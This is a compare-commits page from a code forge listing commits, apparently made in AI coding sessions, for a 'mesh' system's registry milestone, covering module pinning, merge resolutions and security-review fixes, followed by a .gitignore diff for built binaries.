Compare commits

..
Author SHA1 Message Date
jschoubben 125929dbc4 Pin mesh-sdk 05b3e2e1b94f and mesh-contracts ae5266e77639, the group's final heads, in every Go module (issue 1966)
mesh/delivery ready: it is merged on the Approve
mesh/check failed (7): shanks: novox/mesh-catalog#612 does not merge into the trunk: files in conflict: mod…; and 6 more | 125929dbc459 on bc4d43b508cf
mesh/delivery-group group feat/registry-milestone rejected: composed together: the checker's verdict at the members' heads (068b7d23cf1a): shanks
Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:46:38 +01:00
jschoubben 6be8f984f7 mesh-vault: secret_own's description says it lists the own secrets of a machine, so a search for those words finds it (issue 1966)
Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:42:41 +01:00
jschoubben fdc3331465 Pin mesh-sdk e5d89c5eedb5 and mesh-contracts 347a3053580a, the group's heads after review round 2, in every Go module (issue 1966)
Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:25:28 +01:00
jschoubben 3498e54bdb Merge branch 'wip/registry-gcat-b' into feat/registry-milestone 2026-11-04 18:21:56 +01:00
jschoubben 2b340d7ddb mesh-conditions: a home for view-unsaid, every views owner's own
mesh-sdk's views.UnsaidFinding (id <owner>.<state>) is written by the indexer and the assigner in their own findings;
the closed set finds a catalogue writer of it too. nats.status-unwritten is said to the keeper directly, not a finding:
no row.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:18:23 +01:00
jschoubben b3261ccc03 G-catalog-B 6: on registry 2.8.3 a shared-digest tagged version's remove answers and says kept
Saying removed for a version the store still holds told the builder something false. remove now answers
kept with the reason shared-digest and the other tags naming its digest, removed false, and says the
seat's event kept with them (mesh-contracts' shared registry part); the builder raises no retry.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:15:24 +01:00
jschoubben da0573e124 nats: the manifest test reads spent read-only through the SDK's own decoding
Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:14:43 +01:00
jschoubben 2b8b47d862 G-catalog-B 8: the retire removes only the teams the npm pair provisioner made
A person who later makes a team named packages or readers would have lost it at the next start. A team
counts as the provisioner's only in its organisation and when every member is one of its accounts (it
put its own accounts there alone, and they go with the first run), so a team made later stays.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:13:44 +01:00
jschoubben e97167c58f G-catalog-B 7: a transfer dropped by hand is recorded through mesh-hand-acts first
registry_incoming, npm_incoming and go_incoming dropped a transfer by hand with only a log line. Each
drop now records its hand act through the seat mesh-hand-acts before anything goes, as nats_requests
does; an act not recorded leaves the transfer open. distribution's manifest invokes the seat.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:13:44 +01:00
jschoubben 0d6d7acaae nats: a warrant's spend record in the keeper's own state spent; the fill pass while the consumer binds; partial says kept
Review round 2 of the registry milestone:
- security F2: the spend record leaves requests, which the tools write as the tool runner's account, for state spent,
  named in the keeper's bus.state and declared read-only (the lead's 18:1x ruling: the tools read it, never write);
  nats_requests lists the warrants spent from it;
- running F1: the fill pass also runs while the manifest-accepted consumer is bound again;
- health note 3: an event said on the seat's subject and refused by its history is kept with its one id and said again
  on the history alone, never again with a new id;
- seams note 3, health note 4: words unsaid with a status that cannot be written raise the keeper's own condition
  status-unwritten, cleared when it is written; the health names what a restart would lose.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:13:36 +01:00
jschoubben dc0349a220 G-catalog-B 5: distribution and gitea look at every open transfer at the idle watch's start
A transfer whose idle key ended while the bundle was down was never dropped. Both hand mesh-sdk's
FollowIdle their open transfers, which it gives Expired once the watch is taken.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 18:09:42 +01:00
jschoubben ccb7eaff13 Pin mesh-sdk c54648e74346 and mesh-contracts ec9529022c44, the group's heads, in every Go module (issue 1966)
Every module that imports mesh-sdk requires its group head; each requires the mesh-contracts seats and clients it
imports, and mesh-contracts/go through the SDK's seat list. The placeholder versions are gone.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:43:43 +01:00
jschoubben e958de14d2 Merge branch 'wip/registry-fcat-b' into feat/registry-milestone 2026-11-04 17:34:55 +01:00
jschoubben 00d6fe81bf F-parts: on registry 2.8.3 a shared-digest tagged version's remove keeps the tag and says removed
The store's pinned image is registry 2.8.3, whose DeleteManifest cannot delete a tag alone: by a tag it
deletes the empty digest and answers 400 DIGEST_INVALID. The fakes accepted a DELETE by tag, a fixture
agreeing with the mistake, so every merge of a reproducible build would have been a refused remove and a
retry finding live. RemoveTag now answers ErrNoTagAlone for that answer; remove then keeps the tag, whose
bytes stay under the other tag anyway, and says removed with that reason, so the builder lets it go. Any
other store failure is still refused; a digest shared with nothing is still deleted by digest. The fakes
answer as 2.8.3 does.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:30:50 +01:00
jschoubben f28d3bf286 F-parts: distribution and gitea bind mesh-sdk's idle key and binding cap instead of their own copies
Both holders carried the same idle bound and the same read of incoming's cap; the second instance of the
kind moved into mesh-sdk's Receiver (Arm, Expired, Bound, with BusArm, BusCap and FollowIdle). Each
holder now hands its idle state and its objects to those, and keeps its rows.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:26:11 +01:00
jschoubben f735392cb9 nats: the keeper wakes on decided, spends a warrant once, and says again what the bus did not take
Review round 1 of the registry milestone (design 25 § 12.2, § 12.3, § 12.7):
- the fill pass runs from the start, while the first view is asked;
- recreate and drop wake on the operator channel's decided on the keeper's durable consumer, never a minute's tick;
- a warrant is spent by compare-and-set (acted.<ask id> in requests) before anything is deleted; a second request on it
  is refused; a request whose ask ended unanswered is ended, said; the ask is raised before the request is handed;
- created is marked only once said; an event or a condition the bus did not take is kept, named by the health and
  said again at the next fill pass with its one id, on the subjects left (the double publish);
- the health judges the first view past its bound and never skips an unread consumer backlog;
- an unrecordable hand act is said on the request; nats_requests reads what waits, what ended and each warrant spent,
  and drops a waiting request by hand; a tool waits for its request's end on one watch of requests;
- the whole-module test reads the warrant from the router's record under a process connection.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:19:54 +01:00
jschoubben d320a19a8c F-catalog-B: the catalogue's Go is as gofmt writes it, and checks/gofmt holds it so
buildstep's generated.go and generated_test.go and claude-code's config_test.go reached the join
unformatted: the second of a kind, which no check caught since each module's tests hold only themselves.
All three are formatted, and checks/gofmt refuses a Go file of the catalogue gofmt would change.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:18:45 +01:00
jschoubben d8e43b48c4 F-catalog-B: no ignore pattern hides a module's source; nfs-server's and restic's patterns anchored
A bare pattern meant for a binary (mesh-build-node) matched the command directory of the same name, so git
ignored every new file there and publish.go was never committed (catalogue review F1). The kind: every
bare pattern of a module's .gitignore is anchored to the binary (nfs-server's hid all of cmd/nfs-server),
and checks/gitignored refuses an ignore pattern, the module's or the catalogue's, that hides a directory
under a module's cmd/ or internal/, a Go file added there, or a source file there, in a git checkout and a
plain folder alike.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:17:54 +01:00
jschoubben 64c893e2c2 F-catalog-B: the gitea module removes the npm pair's teams packages and readers and their accounts
ADR 0605 §5 revokes the npm write token, and the 14:04 deferral is withdrawn (security review F5): the
accounts the removed pair provisioner made (mesh_<node>_<consumer>) still logged in with write on the
organisation's packages. cmd/agent-teams, run at each start of the module and change of its teams value,
removes both teams and each account of that form whose only teams they are, never purging: one the forge
refuses to delete because it owns something keeps it and has its login prohibited.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:15:41 +01:00
jschoubben bccaf75556 F-catalog-B: npm_incoming and go_incoming read and drop the package seats' transfers; an idle one drops by its key
The package seats kept incoming, transfers and findings with no read or drop tool (tools review F4).
npm_incoming and go_incoming list a seat's open transfers, incoming's fill and the cap its binding carries,
and drop one by hand. The same fault as distribution's (running review F2, its second instance): the
transfers state's own lifetime dropped a transfer's key and left its chunks, and the drop otherwise waited
for the next publish. transfers keeps for good; each open transfer has a key in the new state idle with its
own time to live, whose end drops it. The holder counts against its binding's cap.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:14:04 +01:00
jschoubben 8f5611a2d1 F-catalog-B: registry_mirrors reads distribution's mirrors, asks one again and drops one by hand
The state mirrors had no read tool and no ask-again (seams review note 1): a copy a follower holds and
does not end could only wait for a restart. registry_mirrors lists each kept copy and its claim, asks one
again with its claim let go, and drops one, saying refused under the ask's id so its waiter ends.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:10:09 +01:00
jschoubben 1443adc4f0 mesh-conditions: observe node-tools' and claude-code's first views and the builder's publishing kinds
Their views findings were written and raised by nobody (ADR 0615 §6). The test finds every catalogue module
writing a views finding in the tree, so a new writer cannot go unobserved; homes for publish-refused,
publish-unanswered, seat-outcome-unread and family-not-heard.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:09:58 +01:00
jschoubben dce7d41671 F-catalog-B: distribution counts incoming against its binding's cap and drops an idle transfer by its expiring key
The holder counted against 20 GiB while the bus caps incoming at 8 GiB, so the bus refused writes before
the holder said refused naming the cap, and the 80 % finding came too late (running review F2). The cap is
read from incoming's binding (the object store's fill); IncomingCap, 8 GiB, is said only where none is read,
and the manifest's row holds it equal to max-mib. An abandoned transfer was dropped only on the next publish,
and the transfers state's own lifetime dropped its key while its parts stayed: transfers keeps for good, and
each open transfer has a key in the new state idle with its own time to live, whose end drops it (re-armed
for the rest when it took a part since). registry_incoming reports the bound cap.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:09:17 +01:00
jschoubben 6f89e622df F-catalog-B: distribution's windows step by mesh-sdk's delivery.StepWindow and say why a node holds one
A read naming no node (an empty node_haves) closed both windows for good (security review F3, second of
a kind): the window embeds delivery.WindowHeld and steps by the shared rule, named being every node the
read named, and keeps its own guard that a window once closed stays closed. A node-engine whose
manifest-reads did not answer (a timeout included) counts as stating nothing as before, and the window's
record now says so per node (Why), so registry_old_name tells a timeout from an old node-engine. A read
that fails otherwise is an error the wake judges nothing on, no longer taken as not served.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:07:10 +01:00
jschoubben 3b01711e1f mesh-config: the whole test waits on the module's views subscriptions, never a second's sleep
Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:05:55 +01:00
jschoubben 1b485eb2aa F-catalog-B: distribution's front takes no bootstrap credential
The lead's ENG-5 ruling: on a fresh mesh the bootstrap pushes the holders' own images to the store on its
loopback with no credential, so the front's bootstrap token, its file, the bootstrap-push window and the
program's removal of the file go. Fewer secrets; nothing to refuse once a window closes.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:05:24 +01:00
jschoubben 1bdca045c2 F-catalog-B: distribution removes a tagged version's tag alone when another tag names its digest
Deleting the manifest by its digest removed every tag on it, and reproducible builds share a digest
between a branch's tagged version and the trunk's numbered one, so a branch's end deleted the trunk's
image (security review F1). The fake catalog now deletes by digest as the store does; a store that
cannot delete a tag alone removes nothing and the removal is refused.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:04:46 +01:00
jschoubben 70fd02e8da claude-code: drop a committed go.work.sum, a local workspace leftover
Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 17:04:07 +01:00
jschoubben 3079b7f115 checks/manifests refuses a manifest giving one field twice
A decoder keeps the last of two equal keys without a word, so a merge
of two branches that each add a field to a manifest loses one side
silently; the indexer's judge reads the same bytes. Rows: a top-level
field and a field inside an artifact, each named by its path.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 16:45:23 +01:00
jschoubben dee54a1a13 Join: mesh-build-go's manifest gives invokes once; gitea's row names all three
A3's merge auto-merged a second invokes into mesh-build-go's manifest
(the registry seats' publish verbs beside the indexer's read tool); a
decoder kept the last and dropped the read tool, which
TestTheModuleReadsTheIndexersManifests caught. One list holds both.
gitea's package-registry row named only the builder's versions; the
manifest also asks the indexer's modules and records a re-read.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 16:45:23 +01:00
jschoubben 0554f10c0a Join: mesh-knowledge's page address is no word of the environment
The overview page read MESH_KNOWLEDGE_PAGE, which nothing in the mesh
sets; only its bus test did, to serve no page. checks/environment,
which came with A3's merge, refuses such a read. The page listens on
the port its manifest declares; the test's bundle sets the package's
address empty instead.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 16:43:28 +01:00
jschoubben 019184cf5d Join: merge origin/main (#611, a closing reviewed on its closing alone)
Conflict in mesh-knowledge's reviewOne: the join judges a record in
parts, #611 asks a closing only of the records its judged links name,
with the status it moves from. Both kept: a closing is one part,
ClosingPart, asked #611's ClosingQuestion over the named records.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 16:39:22 +01:00
jschoubben 69ceac7fcf Join: merge A3 (wip/registry-a3)
Conflicts, both sides kept: artifact-store-tools' invokes (the assigner's
and indexer's read tools, followed through views, beside the registry
seats' hold, release and remove), its main (the views reader and the
seat asker), its manifest row; gitea's invokes (the indexer's read tool,
the hand act and the builder's versions) and its consumes of the
indexer's views. gitea's account test takes the packages account's
names; repoCheckFacts, removed on main, is not imported. No catalogue
module reads the indexer's state.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 16:38:20 +01:00
jschoubben 85d96d327f J7: the gate reads the ask it keeps through operator-channel's client (occ.Carried)
askOf keeps its key step and holds the carried ask to its id and an option with
occ.Carried, the one reader the assigner, teller and view use; its own decode, id and
option checks are gone. Rows in TestTheGateRefusesAnAskWithAnotherIdOrNoOption name the
client's refusals and a value carrying no ask; they failed with the gate's own checks.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:49:38 +01:00
jschoubben 5601fdb51d Join: merge origin/main (#610, the knowledge base's close verb)
Conflicts in mesh-knowledge: main.go Verbs and manifest_test.go, A6's draft verbs and
#610's close, both kept in the manifest's order; review.go reviewOne, A6 judges a version
in parts and #610 judges a closing on its closing alone: a closing version is one part
(ClosingPart) asked ClosingQuestion. Joined: close.go's asks import by the rewrite map,
and its rules probe names its overview section "Overview", since A6's section-form rule
refuses a file-named section (close's test failed on it).

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:48:32 +01:00
jschoubben 8eb4465590 Join: mesh-knowledge's progress bus test counts the page's first view
At the joined SDK the bundle is served in the test, so ServePage's first view asks the
tracker's list and milestones and mesh-delivery's groups once beside progress (checked:
with the page's start skipped the counts are the old 3, 1, 3).

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:42:35 +01:00
jschoubben aef8b9c7cb Join: mesh-config's whole test reads the subject the runtime publishes on from the manifest
The seat definition names mesh-config's renamed, retiring and retired on its own stream
(mesh.stream, A1c), and the runtime publishes an event the module's stream carries
there; the test assumed EVENTS (mesh.mod) for every event and failed at the joined heads.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:40:33 +01:00
jschoubben 7dd9e11239 Join item 6: no compiled program in the tree, and the health count written down
A8's CAT-RD4 and CAT-RD8 committed the mesh-conditions and minio binaries
(checks/nobinaries): removed and ignored. The long-running resources without health fell
to 57 in the joined tree (checks/health ratchet).

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:38:12 +01:00
jschoubben aa5e2a0dd6 Join item 6: gitea announces its findings readable, which the condition keeper reads
A8 gave gitea a findings state and the keeper its read; gitea's announcement did not name
it, so the read was refused on the mesh (checks/readable) and its own kept test failed.
Rows in test/kept.test.ts; they failed before the change.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:38:12 +01:00
jschoubben 4a2555253c Join item 1: claude-code requires the mesh-contracts modules it imports, for the group pin
Its seat set (mesh-contracts/go, A6's CC2) and the operator-channel contract and client
were imported with no require; the root workspace hid it.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:34:11 +01:00
jschoubben 34d5c0d308 Join item 2: mesh-knowledge's ledger pipe, call ids and page heartbeat come from the SDK
The ledger pipe asks the runtime through stdio.BusState (it answered ErrNoPipe before), an
operation names the call the runtime proved (stdio.CallIDOf), and the page takes the
runtime's word on its consumer (stdio.OnHeartbeat): a beat is every subscription heard, a
missed heartbeat marks each subscribed source at once with the runtime's why. Rows in
TestASourceThatDoesNotAnswerIsSaidAndAskedAgainOnABackoff and
TestTheLedgerStoreRefusesWhatTheLedgerWouldHaveToTakeBack; each failed before the change.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:33:35 +01:00
jschoubben 695ac0356d Join item 1: the catalogue's modules take the router's ask from operator-channel's contract and client
mesh-sdk holds neither asks nor asker, nor the vault's answer types, and mesh-delivery's
sdk/views is mesh-sdk's go/views (a1-progress.md, the rewrite map for the join): thirteen
modules switch to the operatorchannel contract and client, mesh-sdk's channel package and
meshvault, with go.mod requiring each at the group pin (nats: meshbroker too). The gate
holds the checks mesh-sdk dropped (an ask's id is its key's asking, at least one option),
with a row that fails without them; claude-code refuses a router record whose times do
not parse, as its JSON decode did, with a row.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:33:27 +01:00
jschoubben 60a187cfa8 Join item 3: the condition keeper reads every finding the registry milestone added
The builder's four kinds, the indexer's four, the package seats' token refused and the
owners' view too large get their homes; the keeper reads the findings of every reader
of the indexer's and the assigner's state (teller, enrolment, builder, checker, view),
and asks the indexer's findings of its read tool and follows its views events, as the
assigner's (ADR 0615 §1). Rows in TestEveryControllerKindHasItsHome and the manifest
test; each failed before the change.

Claude-Session: https://claude.ai/code/session_01JG73KJNrH5EgFXMKKYSrig
2026-11-04 15:19:13 +01:00
jschoubben 10d53dd02b Join: merge A2 (wip/registry-a2) 2026-11-04 15:12:01 +01:00
jschoubben 89d0eb13af Join: merge A6 (wip/registry-a6)
Conflict in mesh-knowledge main.go, the propose tool's description: #609 (79c2fc7f)
names ideas and the research-active-at-most limit, A6 names a research effort's
partial new version; both sentences kept, A6's rule count (31).
2026-11-04 15:12:01 +01:00
jschoubben 69303e677a Join: merge A5 (wip/registry-a5) 2026-11-04 15:11:21 +01:00
jschoubben 84ab1fe80d Join: merge A8 (wip/registry-a8)
Conflict in mesh-conditions keeper.go Observers and module.json reads: origin/main
added mesh-vault's findings, A8 added the first-view readers' findings; both kept.
2026-11-04 15:11:21 +01:00
jschoubben beba03613c CAT-RD2: gitea says an unanswered first view in its findings and records the re-read through mesh-hand-acts 2026-11-04 12:24:11 +01:00
jschoubben d8e8c258a6 CAT-RD1..RD10: the readers use mesh-sdk's views.Reader, say an unanswered first view in their own findings (mesh-conditions observes them) and record a re-read through mesh-hand-acts 2026-11-04 12:23:37 +01:00
jschoubben 5adb8e1fea CAT-RD10: the deprecated mesh-catalog module reads none of the indexer's state; it registers builds without manifests, said once (ruling U4) 2026-11-04 12:16:37 +01:00
jschoubben 48624da9e3 CAT-RD2: gitea asks the indexer's modules once and follows its events (TypeScript follower), no reads; mesh-build-go's manifest text kept as it was 2026-11-04 12:14:56 +01:00
jschoubben dd120b1c90 CAT-RD3: mesh-build-go asks the indexer's read tool for the manifest a compose ask names, no reads of the indexer 2026-11-04 12:12:01 +01:00
jschoubben f49b6de79b CAT-RD5: mesh-provisioner asks the assigner's placement and wants and the indexer's modules and manifests once and follows their events, no reads 2026-11-04 12:11:18 +01:00
jschoubben 4d05e0d290 CAT-RD4: mesh-conditions asks the assigner's wants, placement and findings once and follows their events, no reads (on CAT-C10's base) 2026-11-04 12:10:09 +01:00
jschoubben 2bb964b000 CAT-RD1: artifact-store-tools asks the assigner's wants and the indexer's manifests once and follows their events, no reads 2026-11-04 12:09:12 +01:00
jschoubben 6128a570a2 CAT-RD6: mesh-self-check asks the owners' placement, seat-holders, modules and manifests once and follows their events, no reads 2026-11-04 12:08:14 +01:00
jschoubben 55eecc2d34 CAT-RD9: nfs-server asks the assigner's seat-holders once and follows its events, no reads 2026-11-04 12:07:07 +01:00
jschoubben 3e3294cd47 CAT-RD8: minio asks the assigner's seat-holders once and follows its events, no reads, no cache on a timer 2026-11-04 12:06:34 +01:00
744 changed files with 6789 additions and 11377 deletions
+42 -229
View File
@@ -1,236 +1,49 @@
node_modules/
dist/
# Go tool bundles built in place (go build in a module's cmd/<name>-tools) are build output.
modules/pacman/pacman-tools
modules/slack/cmd/slack-tools/slack-tools
modules/jetbrains-toolbox/cmd/toolbox-tools/toolbox-tools
modules/messenger/cmd/messenger/messenger
modules/mesh-watcher/cmd/mesh-watcher/mesh-watcher
modules/mesh-conditions/mesh-conditions
modules/minio/object-store
modules/claude-code/cmd/claude-code/claude-code
modules/dnsmasq/cmd/dnsmasq-tools/dnsmasq-tools
# ...and the same built from the module's root (go build ./cmd/<name>), which names it after the module.
modules/messenger/messenger
modules/claude-code/claude-code
modules/mesh-watcher/mesh-watcher
modules/dnsmasq/dnsmasq
modules/mesh-issues/cmd/mesh-issues/mesh-issues
modules/mesh-issues/mesh-issues
modules/mounts/cmd/mounts/mounts
modules/mesh-knowledge/cmd/mesh-knowledge/mesh-knowledge
modules/mesh-knowledge/mesh-knowledge
modules/mesh-reads/mesh-reads
modules/mesh-reads/cmd/mesh-reads/mesh-reads
modules/mesh-files/mesh-files
modules/mesh-files/cmd/mesh-files/mesh-files
# The provisioner client built in place (issue 671).
modules/mesh-provisioner-client/cmd/mesh-provisioner-client/mesh-provisioner-client
modules/brother/cmd/brother/brother
modules/mesh-build-go/cmd/mesh-build-go/mesh-build-go
modules/mesh-config/mesh-config
modules/mesh-build-image/cmd/mesh-build-image/mesh-build-image
*.test
# Every program a local `go build` leaves, in its main package's directory and at its Go module's root, each anchored to
# its one path so it never hides source (issue 1577: twice in one milestone a module's program was committed). The
# checks/gitignored test refuses a main package whose program no ignore file names: add its line here.
/checks/agenthome/agenthome
/checks/config/config
/checks/deps/deps
/checks/environment/environment
/checks/imagebuild/imagebuild
/checks/imageplace/imageplace
/checks/locks/locks
/checks/mailstore/mailstore
/checks/noplacement/noplacement
/checks/owned/owned
/checks/particulars/particulars
# binaries a local go build leaves in a module root
/checks/paths/paths
/checks/predefined/predefined
/checks/readable/readable
/checks/removedpackages/removedpackages
/checks/secrets/secrets
/checks/sshdir/sshdir
/checks/templates/templates
/checks/toolchains/toolchains
/checks/words/words
/modules/adwaita/adwaita-tools
/modules/adwaita/cmd/adwaita-tools/adwaita-tools
/modules/artifact-store-tools/artifact-store-tools
/modules/artifact-store-tools/cmd/artifact-store-tools/artifact-store-tools
/modules/asus-zephyrus-g14/cmd/zephyrus/zephyrus
/modules/asus-zephyrus-g14/zephyrus
/modules/avahi/avahi-tools
/modules/avahi/cmd/avahi-tools/avahi-tools
/modules/blueman/blueman-tools
/modules/blueman/cmd/blueman-tools/blueman-tools
/modules/bluetooth/bluetooth-tools
/modules/bluetooth/cmd/bluetooth-tools/bluetooth-tools
/modules/brother/brother
/modules/brother/cmd/brother/brother
/modules/claude-code/claude-code
/modules/claude-code/cmd/claude-code/claude-code
/modules/claude-licence-manager/claude-licence-manager
/modules/claude-licence-manager/cmd/claude-licence-manager/claude-licence-manager
/modules/clipmenu/clipmenu-tools
/modules/clipmenu/cmd/clipmenu-tools/clipmenu-tools
/modules/cups/cmd/cups-tools/cups-tools
/modules/cups/cups-tools
/modules/dbus/cmd/dbus-tools/dbus-tools
/modules/dbus/dbus-tools
/modules/desk-channel/cmd/desk-channel/desk-channel
/modules/desk-channel/desk-channel
/modules/disk-load/cmd/disk-load/disk-load
/modules/disk-load/disk-load
/modules/distribution/cmd/distribution-tools/distribution-tools
/modules/distribution/cmd/distribution/distribution
/modules/distribution/distribution
/modules/distribution/distribution-tools
/modules/dmenu/cmd/dmenu-tools/dmenu-tools
/modules/dmenu/dmenu-tools
/modules/dnsmasq/cmd/dnsmasq-tools/dnsmasq-tools
/modules/dnsmasq/dnsmasq-tools
/modules/docker-compose/cmd/docker-compose-tools/docker-compose-tools
/modules/docker-compose/docker-compose-tools
/modules/docker/cmd/docker-tools/docker-tools
/modules/docker/docker-tools
/modules/dunst/cmd/dunst-tools/dunst-tools
/modules/dunst/dunst-tools
/modules/fail2ban/cmd/fail2ban-tools/fail2ban-tools
/modules/fail2ban/fail2ban-tools
/modules/feh/cmd/feh-tools/feh-tools
/modules/feh/feh-tools
/modules/flatpak/cmd/flatpak-tools/flatpak-tools
/modules/flatpak/flatpak-tools
/modules/fonts/cmd/fonts-tools/fonts-tools
/modules/fonts/fonts-tools
/modules/forticlient/cmd/forticlient-tools/forticlient-tools
/modules/forticlient/forticlient-tools
/modules/gitea/agent-teams
/modules/gitea/agent-token
/modules/gitea/cmd/agent-teams/agent-teams
/modules/gitea/cmd/agent-token/agent-token
/modules/gitea/cmd/forge-account-provider/forge-account-provider
/modules/gitea/cmd/forge/forge
/modules/gitea/cmd/package-registry/package-registry
/modules/gitea/cmd/repositories/repositories
/modules/gitea/forge
/modules/gitea/forge-account-provider
/modules/gitea/package-registry
/modules/gitea/repositories
/modules/gnome-keyring/cmd/gnome-keyring-tools/gnome-keyring-tools
/modules/gnome-keyring/gnome-keyring-tools
/modules/hostname/cmd/hostname-tools/hostname-tools
/modules/hostname/hostname-tools
/modules/i3/cmd/i3-tools/i3-tools
/modules/i3/i3-tools
/modules/i3status-rust/cmd/i3status-rust-tools/i3status-rust-tools
/modules/i3status-rust/i3status-rust-tools
/modules/kernel/cmd/kernel-tools/kernel-tools
/modules/kernel/kernel-tools
/modules/keycloak/cmd/keycloak-provider/keycloak-provider
/modules/keycloak/keycloak-provider
/modules/lemurs/cmd/lemurs-tools/lemurs-tools
/modules/lemurs/lemurs-tools
/modules/localization/cmd/localization-tools/localization-tools
/modules/localization/localization-tools
/modules/logrotate/cmd/logrotate-tools/logrotate-tools
/modules/logrotate/logrotate-tools
/modules/mailu/automx
/modules/mailu/cmd/automx/automx
/modules/memory-pressure/cmd/memory-pressure/memory-pressure
/modules/memory-pressure/memory-pressure
/modules/mesh-build-go/buildstep/cmd/mesh-pack/mesh-pack
/modules/mesh-build-go/buildstep/cmd/seatgen/seatgen
/modules/mesh-build-go/buildstep/mesh-pack
/modules/mesh-build-go/cmd/mesh-build-go/mesh-build-go
/checks/environment/environment
/modules/mesh-build-go/mesh-build-go
/modules/mesh-build-image/cmd/mesh-build-image/mesh-build-image
/modules/mesh-build-image/mesh-build-image
/modules/mesh-build-node/cmd/mesh-build-node/mesh-build-node
/modules/mesh-build-node/mesh-build-node
/modules/mesh-cli/cmd/mesh-cli/mesh-cli
/modules/mesh-cli/mesh-cli
/modules/mesh-conditions/cmd/mesh-conditions/mesh-conditions
/modules/mesh-conditions/mesh-conditions
/modules/mesh-config/cmd/mesh-config/mesh-config
/modules/mesh-config/mesh-config
/modules/mesh-delivery-gate/cmd/mesh-delivery-gate/mesh-delivery-gate
/modules/mesh-delivery-gate/mesh-delivery-gate
/modules/mesh-files/cmd/mesh-files/mesh-files
/modules/mesh-files/mesh-files
/modules/mesh-hand-acts/cmd/mesh-hand-acts/mesh-hand-acts
/modules/mesh-hand-acts/mesh-hand-acts
/modules/mesh-healers/cmd/mesh-healers/mesh-healers
/modules/mesh-healers/mesh-healers
/modules/mesh-issues/cmd/mesh-issues/mesh-issues
/modules/mesh-issues/mesh-issues
/modules/mesh-knowledge/cmd/mesh-knowledge/mesh-knowledge
/modules/mesh-knowledge/mesh-knowledge
/modules/mesh-mail-notifier/cmd/mesh-mail-notifier/mesh-mail-notifier
/modules/mesh-mail-notifier/mesh-mail-notifier
/modules/mesh-mail-reader/cmd/mesh-mail-reader/mesh-mail-reader
/modules/mesh-mail-reader/mesh-mail-reader
/modules/mesh-mail-web/cmd/mesh-mail-web/mesh-mail-web
/modules/mesh-mail-web/mesh-mail-web
/modules/mesh-mail/cmd/mesh-mail/mesh-mail
/modules/mesh-mail/mesh-mail
/modules/mesh-provisioner-client/cmd/mesh-provisioner-client/mesh-provisioner-client
/modules/mesh-provisioner-client/mesh-provisioner-client
/modules/mesh-provisioner/cmd/mesh-provisioner/mesh-provisioner
/modules/mesh-provisioner/mesh-provisioner
/modules/mesh-reads/cmd/mesh-reads/mesh-reads
/modules/mesh-reads/mesh-reads
/modules/mesh-self-check/cmd/mesh-self-check/mesh-self-check
/modules/mesh-self-check/mesh-self-check
/modules/mesh-vault/cmd/mesh-vault/mesh-vault
/modules/mesh-vault/mesh-vault
/modules/mesh-watcher/cmd/mesh-watcher/mesh-watcher
/modules/mesh-watcher/mesh-watcher
/modules/messenger/cmd/messenger/messenger
